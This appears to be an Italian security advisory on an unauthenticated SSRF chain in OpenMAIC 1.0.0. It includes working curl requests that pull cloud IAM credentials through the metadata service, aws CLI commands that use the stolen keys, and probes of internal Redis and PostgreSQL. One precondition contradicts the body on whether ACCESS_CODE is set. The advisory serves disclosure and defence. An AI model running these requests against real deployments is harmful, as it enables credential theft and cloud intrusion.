
OpenMAIC 1.0.0: SSRF in uscita non autenticato verso il servizio di metadati cloud tramite middleware fail-open e bypass della validazione condizionato dall'ambiente
Verificato. In OpenMAIC esiste una catena di exploit a due stadi nel middleware di autenticazione e nel livello di richieste in uscita verso i provider che consente a un attaccante remoto non autenticato di far emettere al server dell'applicazione richieste HTTP arbitrarie in uscita - incluso verso il servizio Instance Metadata Service (IMDS) cloud all'indirizzo 169.254.169.254 - senza possedere alcuna credenziale.
Stadio 1: Il middleware Next.js Edge in middleware.ts implementa una postura fail-open quando la variabile d'ambiente ACCESS_CODE è assente. Nella configurazione predefinita di .env.example, ACCESS_CODE non è impostata, il che significa che tutte le 70 route API sono globalmente non autenticate e raggiungibili da qualsiasi client esterno.
Stadio 2: In cinque distinti handler di route API, gli URL base dei provider forniti dal client (tramite i parametri di richiesta x-base-url o baseUrl) vengono passati attraverso validateUrlForSSRF() solo quando process.env.NODE_ENV === 'production'. In qualsiasi ambiente development, staging, preview o non impostato, la protezione SSRF viene completamente saltata e l'applicazione emette una fetch() in uscita verso l'URL controllato dall'attaccante.
Concatenati insieme: un attaccante non autenticato fornisce x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ a qualsiasi endpoint di generazione, e il server recupera le credenziali del ruolo IAM cloud e le restituisce nella risposta. Nessun account preesistente, nessun token, nessun punto d'appoggio locale richiesto.
Il middleware è l'unico gate di autenticazione per tutte le route API. Quando ACCESS_CODE non è impostata - lo stato predefinito secondo .env.example - ogni richiesta a ogni route passa immediatamente. Non esiste alcun meccanismo di fallback, nessun avviso emesso, nessun controllo di autenticazione alternativo. Il fail-open è incondizionato e silenzioso. Questo espone 70 endpoint API, incluse le route di generazione, persistenza, proxy media, estrazione ed esecuzione AI, a qualsiasi chiamante non autenticato.
La funzione validateUrlForSSRF in lib/server/ssrf-guard.ts gestisce già correttamente le eccezioni specifiche dell'ambiente tramite ALLOW_LOCAL_NETWORKS. Il gate NODE_ENV in ciascun handler di route è del tutto ridondante come agevolazione per la modalità dev ma catastrofico come confine di sicurezza: disabilita globalmente la validazione SSRF in deployment di staging, preview, CI/CD e self-hosted dove NODE_ENV non è esplicitamente impostato a 'production'.
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Risposta attesa (passthrough IMDS):
ec2-instance-role
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Risposta attesa:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2026-09-02T00:30:00Z"
}
export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."
aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role
# Redis on default port - RESP protocol response returned in API error
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:6379/" \
-d '{"prompt":"INFO"}'
# PostgreSQL on default port
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:5432/" \
-d '{"prompt":"test"}'
| Fase | Passo | Effetto |
|---|---|---|
| 1. Ingresso non autenticato | Il client remoto invia una richiesta HTTP a /api/generate/image senza cookie o token | middleware.ts valuta !process.env.ACCESS_CODE e invoca NextResponse.next() |
| 2. Acquisizione header | L'attaccante specifica l'indirizzo interno di destinazione nell'header: x-base-url: http://169.254.169.254/... | L'handler di route estrae clientBaseUrl dagli header della richiesta |
| 3. Bypass SSRF | L'ambiente del server ha NODE_ENV !== 'production' (ad es. staging o default del container) | L'handler valuta process.env.NODE_ENV === 'production' come false e salta validateUrlForSSRF() |
| 4. Sink della richiesta in uscita | Il client del servizio si inizializza con l'URL base fornito dall'attaccante ed esegue la richiesta | Il server esegue una fetch() in uscita verso http://169.254.169.254/ |
| 5. Esfiltrazione dei metadati | Il servizio di metadati dell'istanza cloud risponde con metadati o credenziali di sicurezza IAM | Il server incorpora il corpo della risposta HTTP nel payload di ritorno dell'API o nel messaggio di errore |
| 6. Pivot cloud | L'attaccante estrae le credenziali di sicurezza temporanee AWS/GCP/Azure | L'attaccante usa le credenziali cloud esternamente per accedere a risorse cloud e datastore |
Precondizioni:
ACCESS_CODE impostata (configurazione predefinita).NODE_ENV non è rigorosamente impostato a 'production' (ad es. staging, dev, self-hosted o container mal configurato).Per confermare la raggiungibilità e validare le difese di sicurezza senza distribuire payload malevoli:
process.env.ACCESS_CODE è undefined, middleware.ts restituisce NextResponse.next(). L'invio di una richiesta HTTP senza header di autenticazione a qualsiasi endpoint protetto (ad es. POST /api/generate/image) produce una risposta a livello di endpoint (ad es. 400/401 per la configurazione del provider) anziché un rifiuto 401 Access Code Required.NODE_ENV="staging" o NODE_ENV="development", ispezionare se validateUrlForSSRF viene chiamata. A causa di if (clientBaseUrl && process.env.NODE_ENV === 'production'), l'esecuzione salta il blocco di validazione e tenta la connessione di rete all'URL base specificato.NODE_ENV='development' e fornisce un URL di loopback http://127.0.0.1:9999 verifica se la richiesta viene rifiutata con INVALID_URL (403) o consentita fino al trasporto di rete. Nello stato non corretto, la richiesta tenta la connessione socket; nello stato corretto, viene immediatamente rifiutata con HTTP 403.